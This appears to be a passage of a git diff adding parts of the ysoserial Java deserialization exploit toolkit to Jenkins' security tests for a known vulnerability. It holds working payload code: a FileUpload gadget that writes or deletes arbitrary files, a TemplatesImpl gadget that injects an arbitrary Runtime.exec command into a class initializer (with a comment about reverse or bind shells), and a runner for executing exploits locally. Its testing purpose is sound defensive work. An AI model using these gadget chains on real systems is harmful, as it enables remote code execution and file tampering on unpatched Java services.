getObject(String command) throws Exception { + + String[] parts = command.split(";"); + + if (parts.length != 3) { + throw new IllegalArgumentException("Bad command format."); + } + + if ("copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } + else if ("write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes("US-ASCII")); + } + else if ("writeB64".equals(parts[0]) ) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } + else if ("writeOld".equals(parts[0]) ) { + return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); + } + else if ("writeOldB64".equals(parts[0]) ) { + return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); + } + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + + public void release(DiskFileItem obj) throws Exception { + } + + private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + // writes data to an arbitrary file + private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(FileUpload1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java new file mode 100644 index 0000000000000000000000000000000000000000..7c21b91826d0419fc61e642b1bb6428d90c98f03 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java @@ -0,0 +1,24 @@ +package jenkins.security.security218.ysoserial.payloads.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Dependencies { + String[] value() default {}; + + public static class Utils { + public static String[] getDependencies(AnnotatedElement annotated) { + Dependencies deps = annotated.getAnnotation(Dependencies.class); + if (deps != null && deps.value() != null) { + return deps.value(); + } else { + return new String[0]; + } + } + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java new file mode 100644 index 0000000000000000000000000000000000000000..33ab5f4419fdeab42b8eec069e498ec8266a65cc --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java @@ -0,0 +1,19 @@ +package jenkins.security.security218.ysoserial.payloads.annotation; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author mbechler + * + */ +@Retention(RetentionPolicy.RUNTIME) +public @interface PayloadTest { + + String skip() default ""; + + String precondition() default ""; + + String harness() default ""; + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java new file mode 100644 index 0000000000000000000000000000000000000000..20a7417af9cc79734233bd30a0ab37ae5f9b9177 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java @@ -0,0 +1,44 @@ +package jenkins.security.security218.ysoserial.payloads.util; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java new file mode 100644 index 0000000000000000000000000000000000000000..0acba993356caab4e6c4c3f553b24f96f70804b3 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java @@ -0,0 +1,156 @@ +package jenkins.security.security218.ysoserial.payloads.util; + + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +import java.io.Serializable; +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + + +/* + * utility generator functions for common jdk-only gadgets + */ +@SuppressWarnings ( { + "restriction", "rawtypes", "unchecked" +} ) +public class Gadgets { + + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + + private static final long serialVersionUID = -5971610431559700674L; + + + public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} + + + @Override + public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } + + + public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + + public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[ 0 ] = iface; + if ( ifaces.length > 0 ) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap ( final String key, final Object val ) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } + + + public static Object createTemplatesImpl ( final String command ) throws Exception { + if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { + return createTemplatesImpl( + command, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + + public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, ClassFiles.classAsBytes(Foo.class) + }); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } + + + public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } + catch ( ClassNotFoundException e ) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java new file mode 100644 index 0000000000000000000000000000000000000000..457604bb2944b73c66f7c6c2fe79232c343759a9 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java @@ -0,0 +1,36 @@ +package jenkins.security.security218.ysoserial.payloads.util; + + +/** + * @author mbechler + * + */ +public class JavaVersion { + + + public int major; + public int minor; + public int update; + + + + public static JavaVersion getLocalVersion() { + String property = System.getProperties().getProperty("java.version"); + if ( property == null ) { + return null; + } + JavaVersion v = new JavaVersion(); + String parts[] = property.split("\\.|_|-"); + v.major = Integer.parseInt(parts[1]); + v.minor = Integer.parseInt(parts[2]); + v.update = Integer.parseInt(parts[3]); + return v; + } + + + public static boolean isAnnInvHUniversalMethodImpl() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); + } +} + diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java new file mode 100644 index 0000000000000000000000000000000000000000..9f717454a7fdbc700499d112c23487ca006b5d3b --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java @@ -0,0 +1,44 @@ +package jenkins.security.security218.ysoserial.payloads.util; + +import java.util.concurrent.Callable; + +import jenkins.security.security218.ysoserial.Deserializer; +import jenkins.security.security218.ysoserial.Serializer; +import static jenkins.security.security218.ysoserial.Deserializer.deserialize; +import static jenkins.security.security218.ysoserial.Serializer.serialize; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.secmgr.ExecCheckingSecurityManager; + +/* + * utility class for running exploits locally from command line + */ +@SuppressWarnings("unused") +public class PayloadRunner { + public static void run(final Class> clazz, final String[] args) throws Exception { + // ensure payload generation doesn't throw an exception + byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable(){ + public byte[] call() throws Exception { + final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; + + System.out.println("generating payload object(s) for command: '" + command + "'"); + + ObjectPayload payload = clazz.newInstance(); + final Object objBefore = payload.getObject(command); + + System.out.println("serializing payload"); + byte[] ser = Serializer.serialize(objBefore); + Utils.releasePayload(payload, objBefore); + return ser; + }}); + + try { + System.out.println("deserializing payload"); + final Object objAfter = Deserializer.deserialize(serialized); + } catch (Exception e) { + e.printStackTrace(); + } + + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java new file mode 100644 index 0000000000000000000000000000000000000000..723c04bb29197f07211cd00b92047b4f240760be --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java @@ -0,0 +1,53 @@ +package jenkins.security.security218.ysoserial.payloads.util; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; + +import sun.reflect.ReflectionFactory; + +@SuppressWarnings ( "restriction" ) +public class Reflections { + + public static Field getField(final Class clazz, final String fieldName) throws Exception { + Field field = clazz.getDeclaredField(fieldName); + if (field != null) + field.setAccessible(true); + else if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + ctor.setAccessible(true); + return ctor; + } + + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings ( {"unchecked"} ) + public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + objCons.setAccessible(true); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + sc.setAccessible(true); + return (T)sc.newInstance(consArgs); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java new file mode 100755 index 0000000000000000000000000000000000000000..89929466af83f11d079c0fef19cdc0679ef35857 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java @@ -0,0 +1,215 @@ +package jenkins.security.security218.ysoserial.secmgr; + +import java.io.FileDescriptor; +import java.net.InetAddress; +import java.security.Permission; + +public class DelegateSecurityManager extends SecurityManager { + private SecurityManager securityManager; + + public SecurityManager getSecurityManager() { + return securityManager; + } + + public void setSecurityManager(SecurityManager securityManager) { + this.securityManager = securityManager; + } + + @Override + public boolean getInCheck() { + return getSecurityManager().getInCheck(); + } + + @Override + public Object getSecurityContext() { + return getSecurityManager().getSecurityContext(); + } + + @Override + public void checkPermission(Permission perm) { + getSecurityManager().checkPermission(perm); + } + + @Override + public void checkPermission(Permission perm, Object context) { + getSecurityManager().checkPermission(perm, context); + } + + @Override + public void checkCreateClassLoader() { + getSecurityManager().checkCreateClassLoader(); + } + + @Override + public void checkAccess(Thread t) { + getSecurityManager().checkAccess(t); + } + + @Override + public void checkAccess(ThreadGroup g) { + + getSecurityManager().checkAccess(g); + } + + @Override + public void checkExit(int status) { + + getSecurityManager().checkExit(status); + } + + @Override + public void checkExec(String cmd) { + + getSecurityManager().checkExec(cmd); + } + + @Override + public void checkLink(String lib) { + + getSecurityManager().checkLink(lib); + } + + @Override + public void checkRead(FileDescriptor fd) { + + getSecurityManager().checkRead(fd); + } + + @Override + public void checkRead(String file) { + + getSecurityManager().checkRead(file); + } + + @Override + public void checkRead(String file, Object context) { + + getSecurityManager().checkRead(file, context); + } + + @Override + public void checkWrite(FileDescriptor fd) { + + getSecurityManager().checkWrite(fd); + } + + @Override + public void checkWrite(String file) { + + getSecurityManager().checkWrite(file); + } + + @Override + public void checkDelete(String file) { + + getSecurityManager().checkDelete(file); + } + + @Override + public void checkConnect(String host, int port) { + + getSecurityManager().checkConnect(host, port); + } + + @Override + public void checkConnect(String host, int port, Object context) { + + getSecurityManager().checkConnect(host, port, context); + } + + @Override + public void checkListen(int port) { + + getSecurityManager().checkListen(port); + } + + @Override + public void checkAccept(String host, int port) { + + getSecurityManager().checkAccept(host, port); + } + + @Override + public void checkMulticast(InetAddress maddr) { + + getSecurityManager().checkMulticast(maddr); + } + + @Override + public void checkMulticast(InetAddress maddr, byte ttl) { + + getSecurityManager().checkMulticast(maddr, ttl); + } + + @Override + public void checkPropertiesAccess() { + + getSecurityManager().checkPropertiesAccess(); + } + + @Override + public void checkPropertyAccess(String key) { + + getSecurityManager().checkPropertyAccess(key); + } + + @Override + public boolean checkTopLevelWindow(Object window) { + + return getSecurityManager().checkTopLevelWindow(window); + } + + @Override + public void checkPrintJobAccess() { + + getSecurityManager().checkPrintJobAccess(); + } + + @Override + public void checkSystemClipboardAccess() { + + getSecurityManager().checkSystemClipboardAccess(); + } + + @Override + public void checkAwtEventQueueAccess() { + + getSecurityManager().checkAwtEventQueueAccess(); + } + + @Override + public void checkPackageAccess(String pkg) { + + getSecurityManager().checkPackageAccess(pkg); + } + + @Override + public void checkPackageDefinition(String pkg) { + + getSecurityManager().checkPackageDefinition(pkg); + } + + @Override + public void checkSetFactory() { + + getSecurityManager().checkSetFactory(); + } + + @Override + public void checkMemberAccess(Class clazz, int which) { + + getSecurityManager().checkMemberAccess(clazz, which); + } + + @Override + public void checkSecurityAccess(String target) { + + getSecurityManager().checkSecurityAccess(target); + } + + @Override + public ThreadGroup getThreadGroup() { + + return getSecurityManager().getThreadGroup(); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java new file mode 100644 index 0000000000000000000000000000000000000000..90ea39385e6043bdf2934fd0bb72f6eadf44a335 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java @@ -0,0 +1,87 @@ +package jenkins.security.security218.ysoserial.secmgr; + +import java.security.Permission; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.Callable; + +public class ExecCheckingSecurityManager extends SecurityManager { + public ExecCheckingSecurityManager() { + this(true); + } + + public ExecCheckingSecurityManager(boolean throwException) { + this.throwException = throwException; + } + + private final boolean throwException; + + private final List cmds = new LinkedList(); + + public List getCmds() { + return Collections.unmodifiableList(cmds); + } + + @Override + public void checkPermission(final Permission perm) { } + + @Override + public void checkPermission(final Permission perm, final Object context) { } + + @Override + public void checkExec(final String cmd) { + super.checkExec(cmd); + + cmds.add(cmd); + + if (throwException) { + // throw a special exception to ensure we can detect exec() in the test + throw new ExecException(cmd); + } + }; + + + @SuppressWarnings("serial") + public static class ExecException extends RuntimeException { + private final String threadName = Thread.currentThread().getName(); + private final String cmd; + public ExecException(String cmd) { this.cmd = cmd; } + public String getCmd() { return cmd; } + public String getThreadName() { return threadName; } + @ + Override + public String getMessage() { + return "executed `" + getCmd() + "` in [" + getThreadName() + "]"; + } + } + + public void wrap(final Runnable runnable) throws Exception { + wrap(new Callable(){ + public Void call() throws Exception { + runnable.run(); + return null; + } + }); + } + + public T wrap(final Callable callable) throws Exception { + SecurityManager sm = System.getSecurityManager(); // save sm + System.setSecurityManager(this); + try { + T result = callable.call(); + if (throwException && ! getCmds().isEmpty()) { + throw new ExecException(getCmds().get(0)); + } + return result; + } catch (Exception e) { + if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) { + throw new ExecException(getCmds().get(0)); + } else { + throw e; + } + } finally { + System.setSecurityManager(sm); // restore sm + } + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java new file mode 100755 index 0000000000000000000000000000000000000000..9dd35ca7d5b462094a72ea480902ca69a313ccd9 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java @@ -0,0 +1,33 @@ +package jenkins.security.security218.ysoserial.secmgr; + +import java.util.concurrent.Callable; + +public class ThreadLocalSecurityManager extends DelegateSecurityManager { + + private final ThreadLocal threadDelegates + = new ThreadLocal(); + + public void install() { + System.setSecurityManager(this); + } + + @Override + public void setSecurityManager(SecurityManager threadManager) { + threadDelegates.set(threadManager); + } + + @Override + public SecurityManager getSecurityManager() { + return threadDelegates.get(); + } + + public V wrap(SecurityManager sm, Callable callable) throws Exception { + SecurityManager old = getSecurityManager(); + setSecurityManager(sm); + try { + return callable.call(); + } finally { + setSecurityManager(old); + } + } +}